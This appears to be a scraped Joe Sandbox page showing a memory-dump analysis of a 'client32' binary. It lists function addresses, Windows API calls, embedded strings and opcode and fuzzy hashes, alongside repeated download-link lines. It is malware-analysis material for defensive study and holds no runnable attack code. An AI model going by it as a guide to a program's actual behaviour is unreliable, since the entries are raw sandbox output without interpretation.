Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle$CriticalEnterEventFreeLibrarySection_free
String ID:
API String ID: 3241181375-0
Opcode ID: 97f90a2b9532dc7094c0873dc976133b14c8770c73277285e597bf54c11473ca
Instruction ID: 769b914857c95559ccedf9963c302cb6770c9c9862fadc681d98dd4b5afd4e1e
Opcode Fuzzy Hash: 97f90a2b9532dc7094c0873dc976133b14c8770c73277285e597bf54c11473ca
Instruction Fuzzy Hash: 3851BDF8B807057AF95596704CA6FBE214E8BD4B4CF041016FA066E1C2CED7BE829325

Function 1113F700 Relevance: 6.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

APIs

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

std::exception::exception.LIBCMT ref: 1113F7F7
__CxxThrowException@8.LIBCMT ref: 1113F80C
std::exception::exception.LIBCMT ref: 1113F81B
__CxxThrowException@8.LIBCMT ref: 1113F830

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$_malloc_memsetwsprintf
String ID:
API String ID: 1651403513-0
Opcode ID: 4754ce91abff75684998c44684bd62a387d3770bcf39efdefb3a8636f8b0d38b
Instruction ID: 2aa7a213fe02530d6649da53b875432d464f8bc862cdc2c3c02bddd3af265e2f
Opcode Fuzzy Hash: 4754ce91abff75684998c44684bd62a387d3770bcf39efdefb3a8636f8b0d38b
Instruction Fuzzy Hash: F4514CB5900706AFC700CF9AC980A9AFBF8FF08714F50852EE55AA7740E774A654CF91

Function 11063210 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,82E0FB89,?,?,?,?,82E0FB89,?,?,?,?,11170348,000000FF,?,110679FB,00000010), ref: 110632BA
LeaveCriticalSection.KERNEL32(?), ref: 11063380

Part of subcall function 111026C0: InterlockedDecrement.KERNEL32(?), ref: 111026C8

Strings

EnumConn error, idata=%x, xrefs: 110633F6

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$DecrementEnterInterlockedLeave
String ID: EnumConn error, idata=%x
API String ID: 1807080765-705201588
Opcode ID: b291daf73dcf3259c5623327772e4583ca1f3e03a8b6071e432c2e041ef0e574
Instruction ID: aa17bf20ae77388aa0ec91c98647f03043a44d4666c3d031e6487ff34e196994
Opcode Fuzzy Hash: b291daf73dcf3259c5623327772e4583ca1f3e03a8b6071e432c2e041ef0e574
Instruction Fuzzy Hash: F551B075E087568FEB15CF55C580BAAF7F8FB45318F1086ADC85A8BB81CB31A805CB90

Function 110930B0 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 11092F20: std::_Xinvalid_argument.LIBCPMT ref: 11092F40
Part of subcall function 11092F20: _memmove.LIBCMT ref: 11092FC7
Part of subcall function 11092F20: _memmove.LIBCMT ref: 11092FEB

std::exception::exception.LIBCMT ref: 11093126

Part of subcall function 11150C1A: std::exception::_Copy_str.LIBCMT ref: 11150C35

__CxxThrowException@8.LIBCMT ref: 1109313B

Part of subcall function 11151071: RaiseException.KERNEL32(?,?,11103644,?,?,?,?,?,11103644,?,111B83A0), ref: 111510B3

Part of subcall function 11092F20: _memmove.LIBCMT ref: 11093025
Part of subcall function 11092F20: _memmove.LIBCMT ref: 11093041

std::exception::exception.LIBCMT ref: 110931C6
__CxxThrowException@8.LIBCMT ref: 110931DB

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception$Copy_strExceptionRaiseXinvalid_argumentstd::_std::exception::_
String ID:
API String ID: 3482316527-0
Opcode ID: 48381950686fee35f6dc86805a6ff2cf8b1dc353233030c430b72cf3119b753e
Instruction ID: 34a656192ea29ff877c28e50c2c63445a0478e0dc2d9df183b14054e6d04c7b1
Opcode Fuzzy Hash: 48381950686fee35f6dc86805a6ff2cf8b1dc353233030c430b72cf3119b753e
Instruction Fuzzy Hash: 89319279A0470AEFD320DF64D850AABB3F9FB44704F104969E96A97641D770F904CBA2

Function 110E1410 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000057,03062EA0,00000001,00000000,00000000,75A45440,?,00000000,1112A233), ref: 110E1564

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

m_plugin_table[pluginid] == NULL, xrefs: 110E1490
NSSClientPlugin.cpp, xrefs: 110E148B
InitPlugin(0x%08x, %d), xrefs: 110E1442

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$ExitMessageProcesswsprintf
String ID: InitPlugin(0x%08x, %d)$NSSClientPlugin.cpp$m_plugin_table[pluginid] == NULL
API String ID: 73808336-146751015
Opcode ID: fdae3d6caeb60e4e86b8a54e0c4a4c1f33da6f1cecb8f821e4c4b66ddad970f7
Instruction ID: ad6bb8f3b253fbe3b6a656bc4dae6ed0cb60087fd9fc08c2cee8f6ee06ca03d3
Opcode Fuzzy Hash: fdae3d6caeb60e4e86b8a54e0c4a4c1f33da6f1cecb8f821e4c4b66ddad970f7
Instruction Fuzzy Hash: 1A41A676E0625AAFDB11CB6A8C44BDEBBE4AF55754F044169EC0697380EA70DA0087E1

Function 11153123 Relevance: 6.1, APIs: 4, Instructions: 130COMMONLIBRARYCODE

Download Yara Rule

APIs

_memmove.LIBCMT ref: 111531BE
__flush.LIBCMT ref: 111531DC
__write.LIBCMT ref: 11153203
__flsbuf.LIBCMT ref: 1115322E

Part of subcall function 11157CCF: __getptd_noexit.LIBCMT ref: 11157CCF

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 534529e158e4db515927ccc196ef3b21eb4e7e2ebd5444ad79e5c81968efa83f
Instruction ID: 755ba38bf884ac0eeaaa92c0afe6aec453c5cd012c1134b2337e0c48102fae43
Opcode Fuzzy Hash: 534529e158e4db515927ccc196ef3b21eb4e7e2ebd5444ad79e5c81968efa83f
Instruction Fuzzy Hash: FD410631A18A05EBDBD58FB5C9C065EFBB6AF82364F25852CD47597280EB70EA41CB40

Function 111670B8 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 111670EC
__isleadbyte_l.LIBCMT ref: 1116711F
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,50036AD0,00BFBBEF,00000000,?,?,?,11167B23,00000109,00BFBBEF,00000003), ref: 11167150
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,00000001,00BFBBEF,00000000,?,?,?,11167B23,00000109,00BFBBEF,00000003), ref: 111671BE

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 70553f7c7fafef29c21006f25f5c2dae4ac7e8c976c213a9198f9563594dea5c
Instruction ID: a790c682b384103f3dc3b94a9d53280dae5bf4498d54a0adc54a3abaf1072143
Opcode Fuzzy Hash: 70553f7c7fafef29c21006f25f5c2dae4ac7e8c976c213a9198f9563594dea5c
Instruction Fuzzy Hash: 7931E531600656EFDB01DF64CD809ADBFBEBF02355F11896AE4608B191F7B2D960CB61

Function 1103B280 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 68sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000001F4,00000000,?,00000000,-111D903C), ref: 1103B2B1

Strings

/weblock.htm, xrefs: 1103B31D
:%u, xrefs: 1103B30F
redirect:http://127.0.0.1, xrefs: 1103B2FD

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: /weblock.htm$:%u$redirect:http://127.0.0.1
API String ID: 3472027048-2181447511
Opcode ID: 6a60cb9f04780bf1a4e56164c16ea68f90256d0685b113d35d93a91b141b9392
Instruction ID: 163816d6f2ef246cfcbc0681839aaf7e4393b709d4332236b9ae6e4fd5f74bc1
Opcode Fuzzy Hash: 6a60cb9f04780bf1a4e56164c16ea68f90256d0685b113d35d93a91b141b9392
Instruction Fuzzy Hash: 4E110876E01116ABFB10DB64DC51FBEB7A99B5270CF0441E9EC0D97280DE607E048BE1

Function 110ED0F0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 110ED100
GetSystemMetrics.USER32(0000004C), ref: 110ED123
GetSystemMetrics.USER32(0000004D), ref: 110ED12A
GetSystemMetrics.USER32(00000001), ref: 110ED131

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: e716a7c15c148c3bce95d1910b8bb650b858a5736b8f708ee99cec207b1cb7ae
Instruction ID: 83fd5bc5d8da2d79fb4b26aef42fb772e3a20f1d5eeb9d88145602deba3fecb7
Opcode Fuzzy Hash: e716a7c15c148c3bce95d1910b8bb650b858a5736b8f708ee99cec207b1cb7ae
Instruction Fuzzy Hash: 07018435701215AFF340DA6DCC91F6A77D9EF887A4F108166FA18CB281DAB1EC008BE0

Function 110071D5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

CreateWindowExA.USER32(00000000,edit,00000000,40040004,?,?,?,?,?,00000002,00000000,?), ref: 11007327
SetFocus.USER32(?), ref: 11007383

Strings

edit, xrefs: 11007321

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFocusWindow_malloc_memsetwsprintf
String ID: edit
API String ID: 1305092643-2167791130
Opcode ID: 27315c5d1f7352d15abcfce75e4c126172236694e22f52a29f659be4a097c581
Instruction ID: de039c6dd70e6cc582895792d79c964172256b88ad53612648e90ac57d52fd2d
Opcode Fuzzy Hash: 27315c5d1f7352d15abcfce75e4c126172236694e22f52a29f659be4a097c581
Instruction Fuzzy Hash: F4518FB6A00606AFE741CF68DC80BABB7E5FB89354F11856DF955C7340EA34E942CB60

Function 110091F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 11009265
_memmove.LIBCMT ref: 110092B6

Part of subcall function 11008D50: std::_Xinvalid_argument.LIBCPMT ref: 11008D6A

Strings

string too long, xrefs: 11009260

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: 9dfb108bb060dbe814511fcf92a59b01b61276c30512c891ce2dcd2ce0dbaaee
Instruction ID: 3a6cd60558af0b1eb5e54a62a16ab8d1ec8c1d39fd4bf56391ab3766311947f4
Opcode Fuzzy Hash: 9dfb108bb060dbe814511fcf92a59b01b61276c30512c891ce2dcd2ce0dbaaee
Instruction Fuzzy Hash: 2031F832B04A105BF320DE9CE88099AF7EDEBE57A4B200A1FE589C7640E7719C4087A0

Function 11037320 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 1103734C

Part of subcall function 11151A96: __getptd.LIBCMT ref: 11151AB4

_strtok.LIBCMT ref: 1103741C

Strings

; >, xrefs: 11037343, 11037415

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strtok$__getptd
String ID: ; >
API String ID: 715173073-2207967850
Opcode ID: 83b7e2a6cbd220261976a2cc7d86380cb3eec4cdc2f60ae252d597ced3692ed7
Instruction ID: f7621361e6c596b186c407d080d6d1f1d77a3e25de21221ea8e27b6559dd514c
Opcode Fuzzy Hash: 83b7e2a6cbd220261976a2cc7d86380cb3eec4cdc2f60ae252d597ced3692ed7
Instruction Fuzzy Hash: 50316D36D10A6A6FDB12CAA48C41BDEFBE4DF8035AF158494DC94AB340E730BD4587E1

Function 110F9200 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

std::exception::exception.LIBCMT ref: 110F9259
__CxxThrowException@8.LIBCMT ref: 110F926E

Strings

SERVICE_STOPPED, xrefs: 110F928B

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID: SERVICE_STOPPED
API String ID: 1338273076-2952185856
Opcode ID: 7863cd1019f7c507a980daf9cc18c30ca2e51dd9cb744989036ea746dc30ae22
